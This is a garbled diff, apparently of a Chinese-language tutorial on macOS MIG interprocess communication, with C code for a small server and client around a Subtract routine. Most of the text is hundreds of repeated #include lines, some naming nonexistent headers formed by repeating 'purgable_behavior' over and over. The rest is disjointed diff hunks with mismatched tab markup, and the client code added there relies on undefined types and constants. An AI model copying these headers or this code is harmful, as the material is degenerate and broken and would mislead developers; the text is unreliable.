#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable.h>
|
||||||
#include <mach/mach_voucher_types.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_internal.h>
|
||||||
#include <mach/mach_voucher.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_external.h>
|
||||||
#include <mach/mach_time.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_shared.h>
|
||||||
#include <mach/mach_host.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_compressed.h>
|
||||||
#include <mach/mach_host_priv.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior.h>
|
||||||
#include <mach/mach_host_special_ports.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_internal.h>
|
||||||
#include <mach/mach_vm.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_external.h>
|
||||||
#include <mach/mach_voucher_types.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_shared.h>
|
||||||
#include <mach/mach_voucher.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_compressed.h>
|
||||||
#include <mach/mach_time.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable.h>
|
||||||
#include <mach/mach_host.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_internal.h>
|
||||||
#include <mach/mach_host_priv.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_external.h>
|
||||||
#include <mach/mach_host_special_ports.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_shared.h>
|
||||||
#include <mach/mach_vm.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_compressed.h>
|
||||||
#include <mach/mach_voucher_types.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior.h>
|
||||||
#include <mach/mach_voucher.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_internal.h>
|
||||||
#include <mach/mach_time.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_external.h>
|
||||||
#include <mach/mach_host.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_shared.h>
|
||||||
#include <mach/mach_host_priv.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_compressed.h>
|
||||||
#include <mach/mach_host_special_ports.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable.h>
|
||||||
#include <mach/mach_vm.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_internal.h>
|
||||||
#include <mach/mach_voucher_types.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_external.h>
|
||||||
#include <mach/mach_voucher.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_shared.h>
|
||||||
#include <mach/mach_time.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_compressed.h>
|
||||||
#include <mach/mach_host.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior.h>
|
||||||
#include <mach/mach_host_priv.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_internal.h>
|
||||||
#include <mach/mach_host_special_ports.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_external.h>
|
||||||
#include <mach/mach_vm.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_shared.h>
|
||||||
#include <mach/mach_voucher_types.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_compressed.h>
|
||||||
#include <mach/mach_voucher.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable.h>
|
||||||
#include <mach/mach_time.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_internal.h>
|
||||||
#include <mach/mach_host.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_external.h>
|
||||||
#include <mach/mach_host_priv.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_shared.h>
|
||||||
#include <mach/mach_host_special_ports.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_compressed.h>
|
||||||
#include <mach/mach_vm.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior.h>
|
||||||
#include <mach/mach_voucher_types.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_internal.h>
|
||||||
#include <mach/mach_voucher.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_external.h>
|
||||||
#include <mach/mach_time.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_shared.h>
|
||||||
#include <mach/mach_host.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_compressed.h>
|
||||||
#include <mach/mach_host_priv.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable.h>
|
||||||
#include <mach/mach_host_special_ports.h>
|
#include <mach/mach_host_vm_info_region_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_behavior_purgable_internal.h>
|
||||||
#include <mach/mach_vm.h>
|
#include <mach/mach_host_vm
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher.h>
|
|
||||||
#include <mach/mach_time.h>
|
|
||||||
#include <mach/mach_host.h>
|
|
||||||
#include <mach/mach_host_priv.h>
|
|
||||||
#include <mach/mach_host_special_ports.h>
|
|
||||||
#include <mach/mach_vm.h>
|
|
||||||
#include <mach/mach_voucher_types.h>
|
|
||||||
#include <mach/mach_voucher
|
|
||||||
```c
|
```c
|
||||||
/* Description of this subsystem, for use in direct RPC */
|
/* Description of this subsystem, for use in direct RPC */
|
||||||
extern const struct SERVERPREFmyipc_subsystem {
|
extern const struct SERVERPREFmyipc_subsystem {
|
||||||
|
@ -545,7 +252,7 @@ return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
||||||
{ "Subtract", 500 }
|
{ "Subtract", 500 }
|
||||||
#endif
|
#endif
|
||||||
```
|
```
|
||||||
最后,使服务器工作的另一个重要函数将是**`myipc_server`**,它是实际上调用与接收到的id相关的函数的函数:
|
最后,使服务器工作的另一个重要函数将是**`myipc_server`**,它是实际上将调用与接收到的id相关联的函数的函数:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
mig_external boolean_t myipc_server
|
mig_external boolean_t myipc_server
|
||||||
|
@ -579,11 +286,37 @@ return FALSE;
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
检查以下代码,使用生成的代码创建一个简单的服务器和客户端,其中客户端可以调用服务器的Subtract函数:
|
检查以下代码,使用生成的代码创建一个简单的服务器和客户端,其中客户端可以调用服务器的Subtract函数:
|
||||||
|
|
||||||
{% tabs %}
|
```c
|
||||||
{% tab title="myipc_server.c" %}
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <servers/bootstrap.h>
|
||||||
|
#include "myipc.h"
|
||||||
|
|
||||||
|
int main(int argc, char *argv[])
|
||||||
|
{
|
||||||
|
mach_port_t server_port;
|
||||||
|
kern_return_t kr;
|
||||||
|
int result;
|
||||||
|
|
||||||
|
kr = bootstrap_look_up(bootstrap_port, "com.example.myipc_server", &server_port);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
fprintf(stderr, "bootstrap_look_up() failed: %s\n", mach_error_string(kr));
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
result = Subtract(server_port, 10, 5);
|
||||||
|
printf("Result: %d\n", result);
|
||||||
|
|
||||||
|
mach_port_deallocate(mach_task_self(), server_port);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
```c
|
```c
|
||||||
// gcc myipc_server.c myipcServer.c -o myipc_server
|
// gcc myipc_server.c myipcServer.c -o myipc_server
|
||||||
|
|
||||||
|
@ -614,42 +347,51 @@ return 1;
|
||||||
mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsystem), port, MACH_MSG_TIMEOUT_NONE);
|
mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsystem), port, MACH_MSG_TIMEOUT_NONE);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% tab title="myipc_client.c" %}
|
||||||
|
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <mach/mach.h>
|
#include <servers/bootstrap.h>
|
||||||
#include "myipc.h"
|
#include "myipc.h"
|
||||||
|
|
||||||
int main(int argc, char *argv[]) {
|
int main(int argc, char *argv[]) {
|
||||||
mach_port_t server_port;
|
mach_port_t bootstrap_port;
|
||||||
kern_return_t kr;
|
kern_return_t kr;
|
||||||
int val = 0;
|
myipc_msg_t msg;
|
||||||
|
|
||||||
if (argc != 2) {
|
// Get the bootstrap port
|
||||||
printf("Usage: %s <value>\n", argv[0]);
|
kr = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
val = atoi(argv[1]);
|
|
||||||
|
|
||||||
kr = bootstrap_look_up(bootstrap_port, "com.example.myipc_server", &server_port);
|
|
||||||
if (kr != KERN_SUCCESS) {
|
if (kr != KERN_SUCCESS) {
|
||||||
printf("Failed to look up server port: %s\n", mach_error_string(kr));
|
fprintf(stderr, "Failed to get bootstrap port: %s\n", mach_error_string(kr));
|
||||||
return 1;
|
exit(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
kr = myipc_client_send_value(server_port, val);
|
// Look up the server port
|
||||||
|
kr = bootstrap_look_up(bootstrap_port, MYIPC_SERVER_NAME, &msg.server_port);
|
||||||
if (kr != KERN_SUCCESS) {
|
if (kr != KERN_SUCCESS) {
|
||||||
printf("Failed to send value: %s\n", mach_error_string(kr));
|
fprintf(stderr, "Failed to look up server port: %s\n", mach_error_string(kr));
|
||||||
return 1;
|
exit(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Set the message type and data
|
||||||
|
msg.type = MYIPC_MSG_TYPE;
|
||||||
|
msg.data = 123;
|
||||||
|
|
||||||
|
// Send the message
|
||||||
|
kr = mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||||
|
if (kr != KERN_SUCCESS) {
|
||||||
|
fprintf(stderr, "Failed to send message: %s\n", mach_error_string(kr));
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("Message sent successfully\n");
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="myipc_server.c" %}
|
{% endtab %}
|
||||||
```c
|
```c
|
||||||
// gcc myipc_client.c myipcUser.c -o myipc_client
|
// gcc myipc_client.c myipcUser.c -o myipc_client
|
||||||
|
|
||||||
|
@ -676,7 +418,7 @@ USERPREFSubtract(port, 40, 2);
|
||||||
```
|
```
|
||||||
### 二进制分析
|
### 二进制分析
|
||||||
|
|
||||||
由于许多二进制文件现在使用MIG来公开mach端口,了解如何**识别使用了MIG**以及**每个消息ID执行的函数**是很有趣的。
|
由于许多二进制文件现在使用MIG来公开mach端口,了解如何**识别使用了MIG**以及每个消息ID执行的**MIG函数**是很有趣的。
|
||||||
|
|
